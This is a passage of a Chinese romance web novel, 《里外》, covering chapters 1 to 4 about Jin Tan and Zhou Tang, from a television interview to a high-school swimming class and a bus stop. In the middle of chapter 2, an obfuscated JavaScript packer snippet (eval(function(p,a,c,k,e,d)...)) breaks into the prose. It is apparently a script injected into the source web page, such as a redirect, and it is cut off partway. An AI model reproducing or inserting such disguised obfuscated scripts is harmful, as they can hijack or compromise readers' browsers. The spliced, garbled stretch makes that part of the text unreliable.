《里外》 1. 里外 日历上标注的是9月2日,距离南港大学新生进校还有一周左右的时间,电视台邀请了V.a.l的创始人作为校友代表参加本期专访。 恰好,当晚也是他的生日,到了最后环节,记者握着话筒,莞尔询问道: “靳总,您今晚许了什么愿望?” …… 采访结束比原计划要晚半个小时。 电梯门打开又合上,楼层下行,光晕虚实交错地散落在年轻男人的侧脸,或许是头顶灯光趋于柔和,压了丝成熟气质,使得他的模样看起来清隽疏朗。 男人微低着头,浓密的眼睫遮不住那双深邃湛黑的眼睛,就仿佛深林中笼罩着的一层薄雾。 缥缈得让人难以琢磨。 时值九月,进入了初秋,南港的气候向来以温和著称,空气中挟着几分舒适的凉爽。 男人出了电梯,抬脚走到楼底,他仰头望了望,天穹之上圆月高悬,星光熠熠。 晚风漫不经心地撩起他额前的碎发,月光静悄悄地流淌,无声落在脸庞,更衬出他下颌线冷硬削薄,那丝在轿厢内被掩盖住的成熟已然流露。 发梢被风吹得潦草飞扬,他不甚在意地垂眸,手摸到口袋里掏出打火机,指腹按住齿轮。 正准备擦亮,眼帘一掀。 看见对面玻璃墙上张贴的禁烟标识。 “NoSmoking” 他眉头明显地轻皱了一下。 又尽力舒展开。 与此同时,兜里的手机在震动。 他收了指尖衔着的那根烟,修长手指滑开屏幕,备注为LJM的页面弹过来一长串消息。 对话框连番滚动,简直不要命般地轰炸,全是接近六十秒的语音。 大约是催他赶去生日宴。 他猜测得毫无偏差。 消息刚点开,玩世不恭的嗓音传入耳膜。 梁敬免在那头啰哩啰嗦:“靳哥,电视台的采访还没结束吗?邵弋青回消息说正在赶来的路上,谭柯然从他爸那儿顺了瓶百年酒庄的藏酒。” “主角不在,他们一个个都不玩啊!” “就等你呢。” 两段话,意思听得差不多了,他轻触屏幕,果断掐掉语音。 过了一会儿,他两侧腮帮紧咬,太阳穴处的神经突突跳动,莫名的烦躁劲儿开闸似地往心头涌。 他偏过头,难受地轻啧了一声。 就在情绪即将到达临界点。 快要压不住时—— 对面楼梯口有工作人员走出,叮叮咚咚的脚步声越走越近,她们的聊天内容也越来越清晰。 “这期的专访剪辑是由你负责吧,到时候样片拉出来先给我过过眼瘾呗!”女生的嗓音是蜜糖调,亲昵地靠着身旁人的手臂,扯着她的手腕来回晃荡。 “有什么特别吗?” 另一个踩着细高跟,穿着紧身牛仔裤的女孩回她,努了下嘴,表示不太理解。 闻言,女生神色里满是不相信的犹疑,“我要看的当然不是采访内容啊,怎么,老徐没提前和你说嘛!” “说什么?流程我都熟的。”女孩答。 女生不可置信地啊了声,双眼因震惊而瞪大,“不是吧糖糖姐,你给我来真的啊!” “创办V.a.l的靳总啊,据说家世显赫,个人能力更是不容小觑,他,你竟然不认识?”她着急道。 谁?应该认识吗? 短暂沉默之后,祝芯糖眨眨眼,努力回想叶窈口中提到的“靳总”究竟是谁。 想了半天还是没什么特别的印象。 索性作罢。 两人继续往停车场的方向走。 话题很快翻篇揭过去。 她们俩是电视台最新一批的实习生,平常工作中算是饭搭子,不过回家不同路。叶窈得去赶五号线的末班地铁,和祝芯糖道了声注意安全便先行离开。 停车场的西南角有白色车灯在闪。 祝芯糖手里攥着一串钥匙,拉开车门,半边身子坐进去,门还没有来得及关。 倏地,搭在门把手外的腕子被拉扯,传来一股极具掌控感的力量。 紧接着。 桡骨贴合皮肤的地方被摩擦得有些发疼。 祝芯糖保持镇静,敏锐的洞察力告诉她:对方是一位成年男性。 因为她嗅到了男士香水清浅好闻的木质尾调,混着点鲜果散发出来的涩味与凉意。 无需懂香,也知晓这称得上好闻,再懂一点,确定来者品味实属上乘。 尤其是某个瞬间。 竟清冽得不像是一个坏人。 祝芯糖抠着指甲,稳住心神,想法单纯到多少有点儿不合时宜,残存的理智提醒她切忌盲目转身,她选择相信自己的直觉,必须先保证人身安全。 于是—— 她在车后座摸索着可以用来防身的工具,慢慢地,手心触及到一根细长形状的东西。 触感锋利冰凉。 是早上落在座椅后的银制尖头发簪。 祝芯糖闭上眼,握紧那枚发簪,迅速扭头,动作行云流水,冲着能感受到的左方位狠狠扎下去,扎完后多等待了一秒,可似乎无事发生。 她小心翼翼地睁开眼,确认眼前的男人暂时没有做出要伤害她的举动,蹙起眉梢,试探性地挣了挣手腕,男人也顺势松开箍着她的五指。 和动作同时发生的,还有他低沉沙哑的声音。 “抱歉,我认错了。” 祝芯糖咽完口水,肾上腺素飙升,恼怒道:“你没事吧?你知不知道我差点要报警。” “对不起。” 前一秒听起来还漠然生冷的语气稍松,偏过 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一口气说完,不给他狡辩的机会,祝芯糖气呼呼地摔上车门,走的时候还重重地嘀了两声喇叭。 轮胎驰行而过,卷起地面一层灰尘。 靳谈停留在原地,掌根按在眼皮下方揉了揉。 动作间,他的衬衫袖口往上微微收紧,一垂眸,视线里清晰映着右侧手腕内泛黑的文身。 线条是很简单的字母,简单到任旁人看了去也不会多想,更不会赋予它某些特殊的意义。 T。 与他名字里的“谈”同音。 靳谈失神地看了一会儿,文身靠近脉搏,心脏每跳动一下,它也会伴随着轻颤一下。 仿佛冰川流水,生生不息。 良久,他胸腔里的起伏才逐渐平缓停歇。 靳谈后知后觉地想起: 为什么偏偏是今晚心绪不宁? …… 半小时前。 记者问:“靳总,您今晚许了什么愿望?” 他当时是怎么回答的?他想了想,应该是说了一句不算愿望的生日愿望。 采访室里。 靳谈双腿交叠地坐在台前,语速和声调都均等,只有声线带着点冰块的颗粒感,咬字清晰。 他说:“致我最爱的存在主义。” 存在主义。 “Existentialism,强调人的自由、责任与主体性,认为人在面对荒诞的世界时,需要通过主动抉择承担责任,以此对抗虚无,确立自我的存在意义。”* 高二以后每一年生日,和过去重叠的这天,靳谈都会许下这个愿望。 然而,台上除了他。 再无人知晓。 2. 里外 纽约,日子抵达五月中旬,雨季比往年来得要早,出门前还是阳光和煦,温度适宜,出门后没多久,天空中就降下了一场淅淅沥沥的小雨。 周棠独自站在角落里躲雨。 她今天化了简单的淡妆,穿一件薄荷绿的羊毛针织衫和一条长度刚好到脚踝的浅色连衣裙,棕栗色长发松散地垂在肩侧,发尾部分微卷,透出玫瑰香。 这么些年,她身量是越发纤细。 霓虹灯的亮光在眼前晕染开,整座城市被包裹在雨幕织就的漫天白雾里,浸着潮湿寒凉的味道。 檐下的玻璃门上蜿蜒出一道道不规则的水痕,坑洼地里倒影斑驳,雨滴落进去。 扑簌簌的,一碰即碎。 周棠在发呆,风吹得她裙摆摇晃。 手机屏幕停留在社交软件的主页推荐,她迟钝地动了动指尖,点开那人不久前才发布的新帖子。 女孩穿着鹅黄色的礼服款吊带裙,下摆上方是掐腰褶皱的设计,看上去很漂亮,也很柔软,再搭配一张青春洋溢的笑脸,略施粉黛,自是独具一格。 其他还有几张角度不同的,不变的是女孩身边都聚满了同学朋友。 周棠的视线落在最上面的那张封面照片。 女孩眼角眉梢流露出温婉可人的笑意,稍年长的男人站在她身旁,温文尔雅,正微躬着腰,俯下身,亲手解开纯白色蛋糕边围成一圈的粉红色蝴蝶结。 是她的成年礼。 所以办得足够盛大。 看到这些,周棠分明是想笑的,但脸庞发麻,痛恨与厌恶的情绪交织在一起,她无措地咬紧下唇,手指缓慢蜷起,用力抠在冻得泛白的指关节处。 伴随着丝丝痛意,眼泪终于再也忍不住,下一秒夺眶而出,啪嗒、啪嗒地掉在屏幕前。 泪珠在屏幕上聚拢,形成半圆弧状,放大了文案内容:[今生做公主的机会是爸爸给的。] 心中沸反盈天。 脸上显露出来的徒剩苦楚。 周棠倚靠着冰冷的墙面滑下去,膝盖弯曲,环抱双臂蹲着,心理学上说,这是一种安全感顿时丧失的姿势,她却还有被欺骗的难堪。 屋檐外还在落雨。 水珠噼里啪啦地砸到地面上,变成一朵四散的小水花儿,那水花溅湿了她的脚踝,皮肤乍凉,她动作缓慢地用指腹蹭了蹭水渍,又无声地耷拉着脑袋。 她心里默想。 这场雨。 怕是要越下越大了。 也不知道保持着这个姿势蹲了多久,头顶清脆的雨声忽然变得沉闷无比。 像是被什么东西挡住了一部分。 周棠仰起头,眼皮发肿,眼角泛红,视线模糊又清晰,身前站着一个穿黑西装的男人,握着伞柄的那只手骨节分明,伞面慷慨地朝她倾斜。 他同样望着她,并非居高临下的姿态,反而让人读出一种难以言喻的温情。 “段明淞。” 就着头仰起来的角度,周棠睫毛扑扇,垂眸吸了吸鼻子,又倔强地用手背擦掉泪迹。 喊完他的名字,问:“你怎么来了?” 段明淞单手撑着伞,扫视了一圈,语调起伏似是隐有怒意,“躲在这里,是你解决问题的方式吗?” 周棠佯装没听懂,扶着身后的墙壁徐徐站起,看到段明淞肩头的那块面料变得很深,她的视线也跟着暗了暗,再挪到他的脸,眼睛也是湿漉漉的。 他来找她,淋雨了。 她问他:“什么?” “司阿姨住院,你怎么没告诉我?”话音刚落,段明淞不由分说地把伞塞进她手里,转身冒雨走到路边。 车门打开的时候,他往身后看了一眼,发现她没跟过来,又重新折返回去,拽着她的手腕把她推进副驾,他在门外收了伞,俯身不紧不慢地给她系上安全带。 雨丝胡乱飘在车窗边,遮挡住大部分视野。 周棠背对着驾驶座,右肩靠着冰凉的玻璃,身体窄窄地缩在一侧。 她头发沾了雨,滴滴答答地落在裙摆上,她这裙子薄薄的一层,此刻紧贴着她的双腿。 形象近乎狼狈。 但她再没有心力去管,只能无视掉。 不久,车停在她租住的公寓楼下。外面的雨下得没完没了,段明淞撑开伞,送她进电梯、上楼,再输完密码,听到锁“咔”地一声弹开。 他没进门,也没走,站在门外看着她的背影。 两个多月没见,她瘦了许多。 周棠换好鞋,拉开柜门又拿出一双,这幢公寓段明淞之前就来过,所以一直有备着他的拖鞋。 他手里拎着拖鞋,弯下腰,迅速换好,起身,然后长腿一迈,在周棠推开浴室门前毫无征兆地拦住她,胳膊自然地横放在她腰际。 两个人的身上几乎都湿透了。 此时此刻,段明淞眉眼朦胧,头发一绺一绺的,水从鼻梁流到下巴,汇聚成珠,落到周棠被冻成冷白色调的锁骨窝处,凉凉的,她没忍住瑟缩了一下。 但很快,周棠浑身的刺就冒出头,梗着脖子,抬高下巴,目光迎着他质问的神情,不闪不避。 僵持了一会儿,最终她先败下阵来。 周棠:“我没什么要和你说的,我想洗澡了。” “不说话就冷着。” 段明淞慢慢靠近她,皱着眉,语气难得疏离,“闭口不言的是谁?司阿姨的事是你有意瞒着我。周棠,咱们讲道理好不好!先发制人也不是这个样子。” 刚说完,周棠的眼睛瞬间又红了,竭力保持的倔强也好,骄傲也罢,全部溃不成军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那以你现在的分数得努努力了,迟芋同学。” “于然,我其实一直喜欢你。” “啊?李复也,你刚说什么?蓝牙不小心连上手机了,耳机里刚好在放歌。真的,没骗你。” “张执,你快回头,我请你吃雪球。” “操!梁敬免你他妈傻逼吧,专惹火是不是?” …… 周棠趴在楼上眺望了好一会儿,转身走回教室,黑板右下角有同学留下两行秀逸细腻的粉笔字。 “于世界而言,我的青春或许平凡普通,但于我而言,它也曾闪闪发光过。” 3. 游泳课 这一场雨就像是夏季来临的开幕式,雨后初霁,青空湛湛,白云下,小橘猫神神气气地晃荡在校园一隅,砖头缝里苔藓新绿,它懒懒躺着,翻出肚皮。 午后课间休息,阳光肆无忌惮地落在走廊边,地板上投来一大片形状不规则的光影。 陵和靠近南方,初夏的气候刚刚好。方便男生穿着夏季校服在球场吸引一众同学的目光,也能够让女生把普通的灰色百褶裙搭配出花儿来。 风格不一的长袜以及各式各样的小皮鞋。 鞋跟踩在地面,一定要噔噔噔地响。 隔壁班的语文课代表抱着一摞作业本往对面楼的老师办公室走去,有同学大剌剌地倚在阳台那侧,串着班地和狐朋狗友们闲聊。 课代表在人群中左右避让,她是逆行,一会儿说着借过,一会儿用手勉强扶着东倒西歪的作业本。 周棠坐在后排靠窗的位置,睡前拉上窗帘还是被喧闹声吵醒。 她动了动脖子,迷迷糊糊地睁开眼。 教室环境不仅嘈杂,空气里还飘着不知名零食的味道,她蹙着眉,有些心烦地推开桌面笔袋。 同桌是个稍显内向的女生,听到动静不太敢吭声,算数学题的笔尖倏然停止,捏着笔的右手局促用力。 他们班刚调完座位没到两天。 同桌之间并不熟悉,而在这两天时间里面,周棠和她说的最多的话就是“让一下,我要出去”或者“让一下,我要进来”。 最多再加一句友好提醒“我们组要交作业了”。 女生眼角余光瞥见周棠动了一下,似有所感地率先开口,挪着凳子问她:“你是不是要出去?” 闻声,周棠脑袋偏过来,看着她,睡眼依旧朦胧,然后小弧度地摇摇头。 那意思很明显是不用。 得到答案,女生不再多问,专注力转移回试卷反面的解答题第二个问,在纸上涂涂抹抹地算了会儿,无奈地深呼吸,她真是一点解题思路都没有。 周棠坐在她旁边,闭上眼时脸没再转回去。女生扭头,想起下课铃声打响之前,周棠好像已经把试卷反面的题目写得差不多了。 她执着于弄明白过程,便不由自主地看过去。 周棠的试卷放在桌面上,两面完全摊开,被她胳膊压着的地方皱皱巴巴的,但是能看清楚上面的字迹。 些许潦草,胜在总体灵动飘逸。 这一道视线明晃晃的,好几秒钟过去也没想要避开,实在没办法忽略,周棠伸出手指,好心引导地在试卷上点了一下,是她答题时圈出来的关键条件。 女生被她的动作吓得屏住呼吸,眼神却僵在那儿没有收回,眼看着周棠坐起身,随意扯下头绳,发丝如瀑布般倾泻,又以手为梳,快速地把睡乱的头发扎好。 再简单整理,变成马尾辫。 “看懂了吗?题目给的条件没有多余的,你写的过程没用上这个条件,你难道都不疑惑的吗?” 周棠的语气是平平淡淡的,并不高傲,对这道题的证明方法点到为止。 半晌,女生还是不说话。 周棠抬手用指节敲敲桌面,直接喊着她的名字,对她说:“纪桑南,你下次不会的数学题可以直接问我,偷看我的试卷我会睡不好。” 惊觉自己的冒犯与缺少边界的打扰,纪桑南终于垂着头,怯怯地说一句:“对不起,我……我只是觉得你长得很好看,还有,你怎么会知道我的名字?” 周棠眉眼弯了下,脸上一副不可思议的模样,嘴里嗤声未尽,又怕举动吓跑同桌,只好指着黑板左侧的值日表,“喏,今天是周二,你是窗户值日生。” “四排一座,纪桑南。” 纪桑南懵懂地点头说:“哦,原来如此。” 上课铃霎时打响。 两分钟时间,周棠已经清空桌面,拎出暗红色双肩包,一股脑儿地把要用的文具和作业塞进去,旋即拽上拉链,提着包带往身后一撂,背起出门。 她能记得今天是周几,全依赖陵高周二下午有两小节课合并而成的一大节游泳课。 陵和高中与这个区域内的其他普高不同,虽然不是刷全面发展的国际学校,却也区别于传统教学模式。 陵高前两年新上任的校长是素质教育出身的佼佼者,所以会更注重学习和体育多方面相结合,策略实施后也使得每年毕业季的升学率高于区重点。 不过年级里也有传闻说,约莫校长老高他小时候有一个未能实现的梦想,就是在世界泳坛留下姓名,以致于游泳课一周两节,可这门课的考核标准只高不低,且有再往上逐步提升一个档次的可能性。 周棠是属于喜欢游泳课的那一波,还有一波人尽管自己无感,但对其他班女生的游泳穿着比较有兴趣。 游泳馆的女更衣室内。 刚扎好的马尾被反折进泳帽,周棠套好浅彩暗纹的竞速泳衣,拿着泳镜,慢慢抽绳调节大小,走出门。 泳池边,各班队伍分成两排。 男生一列,女生一列。 周棠戴上泳镜,拨着橡胶边,让它恰好卡在额头前面一点的位置,自然地站到队伍末尾。 纪桑南是在五分钟之后出来的,她绑着一身保守到只露脖子、手腕和脚踝的灰色连体型泳衣,磨磨蹭蹭地跟在另外一个相处得还不错的同学身后。 每逢游泳课,她都表现抗拒,不安地搓着手指,又常常苦于找不到正当理由向教练请假,只好硬着头皮上课,并默默祈祷千万不要有同学关注到她。 不远处,周棠踮着脚,双手交叉上扬,来回抻了几下,紧接着微微弯腰,勾起脚尖,拉伸小腿肌肉。 她在为待会儿的下水做热身准备。 纪桑南隔着人群,看到周棠被细肩带勒住的光洁后背,皮肤是莹白的质感,肩线流畅,腰臀两个部位该窄的窄,该翘的翘,更别说那双能攫取视线的长腿。 无需和旁人比较。 她单站在那里,气质卓然。 纪桑南突然想起情窦初开的那个时候,她会掐着点儿地跑去表姐家一起看港剧,后来也追泰剧和美剧。那段日子,她的脑海里总对十六七岁充满幻想。 感觉自己升入高中那天,也会自动变成影片里自由坚韧的女高。 穿着统一发放的藏青色制服裙,可以私底下偷偷修改尺码,早上出门前还会精致地整理领口的蝴蝶结。 直到—— 她在秋季入学当天遇到周棠。 纪桑南一下子就明白了那句话,世界很大,你我皆为芸芸众生,她也确实普通又渺小。 至此。 她幻想破灭。 她没能成为电视剧里演绎的出众角色,但她见到了无限趋近于她理想的少女时代的另一位美少女。 入学那天,所有同学都需要填写报名表。 当时,她就排在周棠的后面,视线无法控制地被她吸引,默默记下她的名字,终于在两天前等到机会,换座位的时候她特意选了周棠旁边空出的位置。 游泳教练是学校聘请的专业老师,岸上还配备有三名安全员负责救援。 防止训练过程中泳池会出现突发事故。 这堂课的主要内容是静态闭气和自由泳的姿势考核,前面的同学按照男女分类在各自的泳道内练习,不得越线,如果有私自更换泳道或者违规涉入深水区的同学,这门课的分数直接标零。 严格到没有任何情面可讲。 如果只是不得分,这听着其实还没什么,能进入陵高的,绝大多数家境富饶,分数对他们来说可有可无,但游泳课是特例,搞砸这件事情会被全校通报。 批评教育、千字检讨,外加告知父母。 社交圈当然是以圈为单位,传出去东家的好儿子或者西家的小公主顽劣不堪,连游泳课都要重修,那父母在外维持多年的脸面才真叫挂不住。 所以一般来说,没有什么同学愿意这样做。副作用巨多,正反馈少得可怜。 换句话说,性价比极低。 不过显而易见,总会有人不信邪,想着触碰一下高压线也死不了,顶多回家挨一顿骂,然后回学校和朋友们装装样子,嘴边说着无妨,都是小事。 教练举着班级名单,念到周棠的名字,她答到,上前一步,扶着泳池边慢慢蹲下,双腿没过水面。 其后,口哨声响。 周棠捏住鼻子,鼻梁沉入水中,教练同步读秒,待到肺中氧气耗尽,她起身出水,教练记录成绩。 最后一项是泳道五十米,同样的哨声,周棠一跃前行,在水中,她的身形更能舒展开,游泳馆上方是阳光玻璃,水面波光粼粼,照得她的脊背漂亮得迷人。 纪桑南捂嘴惊呼,刚要由衷感叹。 一侧耳,听到自己班的生物课代表正流里流气地和旁边人讨论:“周棠这身材比例,这腿,看着就好绝!不知道她弄起来……会怎么样?” 他有胆子说,纪桑南都不敢听。 简直污言秽语,她皱着眉,想立刻把耳朵闭上,不料他们的议论声越发尖锐恶心。 “没玩过,浩子你试试。” 少女的名讳被亵渎,纪桑南的怒气在胸腔里积聚翻涌,忍无可忍到直接爆发,她颤着音,吼道:“你们几个说够了没!孙其浩,你还是生物课代表呢,你好意思当代表吗,一点带头作用都不起?” 话音全落了,但几位参与其中的男生仍然没有半点收敛,反倒嘴脸油腻,喉咙里发出讥诮的讽笑,笑得纪桑南全身难以自抑地发起抖来。 “呵呵,纪桑南,怎么几天没找你麻烦,你学会给别人当小狗了,她是你的主人吗?轮得着你来护?” “也说呢,这不她自个儿穿得严严实实,知道的以为她是爱惜保守,不知道的……” “还以为她是欲拒还迎。” 男生在后半句停顿,故意拉长嗓子,说些影射意味十足的话。 “谁知道是不是有人就吃她这套清纯做作!” “哈哈哈哈哈哈。” “厉害啊,我们坤哥。”男生们笑闹一片,嘴脸尤为狰狞,更浑的话也是张口就来。 纪桑南觉得自己的头真的要裂开了,好疼,喉咙却被水泥封住了似的,怎么努力也发不出任何声音,急得眼泪在眼眶里不争气地打转。 她眼睛都快憋红了。 这会儿,周棠的五十米考核已经结束。 她掀开泳镜,在泳池对面上岸,打开游泳包,拿过速干浴巾,双手一翻,裹在肩头,一边擦着后背上的水珠,一边面朝着刚才入水的地方 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孙其浩扑腾着胳膊爬到岸上,挣扎过程中咽了好几口脏水,抬手胡乱抹了下脸,还没站稳,就恼羞成怒地开口:“我操你大爷,他妈的,谁踢的老子!” 孙其浩用手狠狠指着她,恶意满满。 纪桑南手足无措地望向身后。 周棠反应过来,先他一步拦在纪桑南前面。她唇边扯出笑容来,故意转头逗自己的软怂同桌。 “可以啊,我还以为你今天翻身把歌唱了呢。” 纪桑南的状态还是懵懵的,缩着肩膀瑟瑟发抖。 周棠不准备和孙其浩浪费半句口舌,眸光朝着头顶无死角的监控看了看,拉着纪桑南转身离开。 经过那个人身边的时候,她步伐稍微停顿,不经意与他对视一眼,也没有多做停留。 教练刚从卫生间跑出来,安全员在孙其浩爬上来的时候切换成工作模式,重新巡视了一圈。 游泳馆空间大,声响的确会有回音,但交谈内容除了临近的几位参与者,并没有机会宣扬出去。 其他同学大都面面相觑,只察觉到他们应该是发生了某些冲突。 但不确定具体是因为什么而有的摩擦。 孙其浩当然无法咽下这个哑巴亏,冲脚边啐一口唾沫,质问他:“你以为你是谁?又仗着谁为所欲为,老子说什么话干你屁事,真能把自己当回事儿!” “是和我没关系,看你不爽也需要理由吗?”他语气淡漠,姿态倦懒从容。 陵高人才辈出,纨绔子弟当然也是数不胜数,而他这个人不一样,总会给人一种奇妙的矛盾体的感觉,就是如果他放浪形骸起来,确实让人望尘莫及。 周棠拉着纪桑南走到游泳馆门口,松开了牵着她的手,掌心一片潮湿,对她说:“你先回教室。” “可是……我的书包还在更衣间,今天的作业还没有写完。”纪桑南犹豫着要不要去拿,想起孙其浩那副嘴脸,又有点后怕。 “我回去给你送出来,柜子钥匙给我,你在行政楼等我。” 纪桑南慌乱着抓她衣角,“不……孙其浩还在……” “没事的,别怕。” 兴许是周棠的关心起了点儿作用,纪桑南不阻止她了,睫毛颤了颤,点头说:“好。” 周棠回到更衣室,换掉身上湿淋淋的泳衣,穿好校服,又到纪桑南的柜子里掏出她的书包,连带着自己的书包,一个在手里拎着,一个背着。 经过泳池入口时,周棠停了下来,探头看里面的情况如何,她并没有感到害怕,是因为她之前就知道孙其浩的德行,也知道帮纪桑南的那个同学是谁。 还包括一个原因。 他也曾帮过她。 高一入学的早晨,学校喇叭里放着广播,妈妈给她装了满盒的青提,被一位态度恶劣的眼镜男撞倒,他偶然路过,强硬要求眼镜男向她道歉。 她刚想和他说声谢谢,只看见有风吹过去,他急匆匆地下楼,发梢微乱,背影挺阔。 同时听到楼底下有人喊他的名字:“靳谈,你不是说要去领书嘛,人呢,快点下来!” 除了游泳课的必要性与重要性,大部分同学喜欢这门课还有一个原因: 游泳馆外的大屏幕会实时更新并滚动播放校内一百米的纪录,范围是整个高中部。 这极大程度上满足了热血少年们的小小虚荣心。 周棠走出游泳馆,回过身,抬头望着。 第一名近三个月几乎没有什么变化,一直以来都是艺体班的特长生学姐。 于然。 第二名倒是会轮着换来换去的,但也就只有那么几个人,你追我赶的,互相忙着刷新对方纪录。 西边的落日洒着金橘色,蓝天白云映衬着,像是一幅色调鲜明的油彩画。 周棠抬起手,遮住眉梢,眼前的光线暗了下来,屏幕上的名字清晰可见。 现在排榜第二名的是—— 高一(1)班。 靳谈。 4. 九号线 夕阳藏进教学楼天台的角落里,不一会儿,远处的橙调光芒湮灭在边际,天空由蔚蓝色转为蓝黑色。 行政楼靠近学校南门,道路两旁的路灯准时亮起,这一路树影摇曳,周棠踩着光往前走。 隔着一小段距离,她看到纪桑南贴墙半蹲着,双手胡乱挥舞,竭尽全力地挡住自己的脑袋,她这才想起纪桑南身上仅穿着一套连体泳衣。 右手边那幢教学楼里乍然响起喧嚣,部分班级执行的是分流放学的策略。 此时,他们一窝蜂地涌出来。 周棠怀里还抱着包,见状小跑了几步,在纪桑南即将像土拨鼠那样要崩溃尖叫前赶到。 她迅速打开书包,拿出校服外套盖在她身上。 “我来了,等多久了?”伴随着微微喘气声,周棠嗓音听上去放软了一些。 纪桑南心跳速度降了下来,紧紧抓着书包道谢,临走前不忘了说:“周棠,我先去卫生间换衣服。” 说完她抬脚就走,没走几步又退回来,眼神坚定地望着周棠,告诉她:“太晚了,你别等我,孙其浩他应该会走北门,以前他都是走北门的。” 言外之意,她要走南门。 两个人碰不上。 周棠回了个好字。 与纪桑南分别后,周棠背着书包,毫不突兀地混进了别班放学的大部队里。 等出了校门,周棠解开头绳,滑到手腕上,刚才走得急,身上没有来得及冲水,现在头发闻起来透着一股儿浓郁的泳池里的消毒水味儿。 难闻,摸上去也是干干的,快要打结的样子。 周棠嘴边轻啧,用手指扒拉揉搓了好几下,作用不大,又重新挽成松垮的丸子头。 陵高附近设有公交站,走路约五百米远,周棠平时放学回家要么骑单车,要么坐公交车。 她刚游完泳,决定老老实实地坐有车厢的公交车回去,而不是自由却更容易吹风生病的敞篷自行车。 以往周棠不是这个放学点,今天出来的时间较早,所以公交车迟迟未来。 周棠坐在椅子上,左等右等,百无聊赖地盯着路边的石球发呆,肚子在这时开始叫嚣反抗起来。 刚游完泳,她确实是很饿了。 好在与陵高相隔一条马路便有卖零食的便利店,同侧原本是普通的拆迁安置楼,后来陵和经济上行,大部分人搬到市区,这边就慢慢改成了教师公寓。 又因为学生和老师是经常光临的顾客群体,多年来衍生出了二手书资料店、文具店、证件照相馆。 周棠心里默算时间,要等的那班公交车没有进站的迹象,她走两步跃下台阶。 前方是绿灯。 她通过人行横道。 周棠抬眸挨个看过去,在花花绿绿的广告牌中找到了挤在不算宽敞的门面房里的奶茶店,娴熟地对收银员说:“珍珠奶茶,中杯,常温少糖。” 有店员在塑料杯上贴标签,很快,周棠握着奶茶往回走,还没走到站台,刚撕掉包装袋插进吸管。 有一道熟悉的身影从眼前闪过。 在她之前待的那个位置。 周棠定睛瞅了一眼。 他没穿校服,从游泳馆出来换的是休闲polo款的深色短袖,领口下方的位置有一小行不明显的品牌刺绣,周棠看不清楚,但大概率能猜到。 应该是国外的小众品牌。 低调,但价值不菲。 他上半身前倾,手肘抵在分开的膝盖上,懒散地歪着头,线条干净利落,松弛感浑然天成。 如果不是刚刚发生的游泳馆事件周棠在场,亲眼见到了他和孙其浩剑拔弩张的对峙画面,差点都要误以为他是不谙世事的清冷少年。 须臾,他站起身走到站牌边,查看来往车次和停留点,视线扫过,自然而然地瞟到了等在站牌侧面的她,接着看见了她手里端着杯饮料。 奇怪的饮料。 他不着痕迹地皱了眉。 事实上,他们并不认识,所以周棠走过去,没有打招呼,也没同他道谢,若无其事地坐到另一张空椅子上,她翻出手机,开机。 消息嘀里嘟噜地传进来。 纸片飞书似的。 最上面是和各路好朋友们的置顶群聊。 方雾在狠狠抱怨,问陵和的外卖究竟还有没有净土啦?为什么他心血来潮点一次,拉肚子一次,这次更严重,蹲马桶半个点,已经去急诊求医生救他小命了。 何安分享了一部春节上映的电影,现在各平台开放首播,他哭得抽抽噎噎,解释说真的太感人了。 段明淞没有他们俩那么聒噪,卡点发来消息。 在和她单独的聊天框里。 他问她:“下周末陵和市艺术中心有音乐剧演出,你想去吗?我可以找朋友先订两张票。” 不等她回答,下一秒,他的语音通话打进来。 周棠按了接听键。 “嗯?你刚放学,《Hamilton》近期巡演,你不是一直挺喜欢的,要去吗?周棠。” 周棠没说话,段明淞从细微的差别中捕捉到她的情绪,又追问:“是不是在学校发生什么了?” 她吸了口奶茶,嘟嘴堵着,不让珍珠咽下去,瓮声瓮气地说:“我今天又遇到一个很有病的人。” 话音刚落,周棠眼前洒下半片阴翳,鼻尖嗅到了干净清冽的皂角香,混合着薄荷气的淡淡凉意。 似乎是挺好闻的。 靳谈低头看着她,轻轻地挑了下眉,似乎是在琢磨她那句“有病的人”说的是谁。 这姿势压迫感太强,路灯斜着照过来,晕出他的身形轮廓,拓下的阴影像是把她牢牢圈在怀中。 顷刻间,周棠坐立难安。 她想张嘴解释什么,大脑却一时宕机,不知道要从哪一句开口,只好无声地指了指听筒,郑重表示:刚才那句话并非也绝对不是在内涵他。 “段明淞,我下周先不看了,我妈可能要提前回来了,我在家多陪她几天吧。” 交代完,周棠匆匆挂断电话。 唯一的外界因素被关闭,环境一瞬间更加静谧了,两人视线相交,周棠下意识地伸出舌尖,舔舔唇角,心想千万不要沾有奶茶渍。 她可不想在他面前出糗。 借着这个角度,靳谈看清了她的脸,圆眼睛,睫毛忽眨,在游泳馆冷脸带人走的时候还有几分骄纵跋扈之意,现在喝着莫名其妙的饮料,倒显得格外安静。 “我说的是孙其浩。” 周棠动了动嘴,对他坦诚相待,“刚才在和朋友打电话,那句话不是说你。” 靳谈睨她,神情淡淡的,语气也是淡淡的,问了一句无关紧要的话。 “你认识我?” 周棠实话实说:“陵和高中都认识你。” 那个脸长得好看,对追求者能够礼貌拒绝,甚至会在对方需要帮忙时立刻出手相助的同学。 年级里有禁欲系称号的帅哥。 众星捧月。 ……诸如此类的话题。 这些她都听过。 “嗯。”靳谈随意应了声,下巴冲着那杯饮料点了点,又问她:“你喝的是什么?” 啊?! 周棠愣住,唇瓣微张。 等反应过来后正准备好心告诉他,这是奶茶家族中经典的经典——珍珠奶茶。 就听到他略微迟疑的后半句。 “能喝吗?” 能喝吗?什么烂问题? 真没礼貌。 周棠在心里翻了个白眼,举着塑料杯上下看看,腹诽反驳他,怎么不能喝了?蜜雪冰城这么有名! 没喝过啊! 小土狗。 心虚吐槽完,周棠又抬眼盯着他。 算了,不太像狗。 小土……冒吧。 城市发展是没有带上他吗? 周棠动作缓慢地点头,不说话。 她忽然有点儿好奇,靳谈长这么大有没有机会吃过人间美味之一的辣条拌白米饭?或者课间和好朋友分享五角钱两包的干脆面?还有在音乐课偷吃酸酸糖? 如果她问了,靳谈会不会像推孙其浩那样大力,把她一拳头捶进公交车站牌里,抠都抠不出来! 周棠被自己天马行空的想象惊到了,主要是心疼自己惨烈的下场,她迅速晃晃脑袋。 靳谈通过她的动作总结:“能喝,还是不能喝?” “少喝。”周棠终于给出答案。 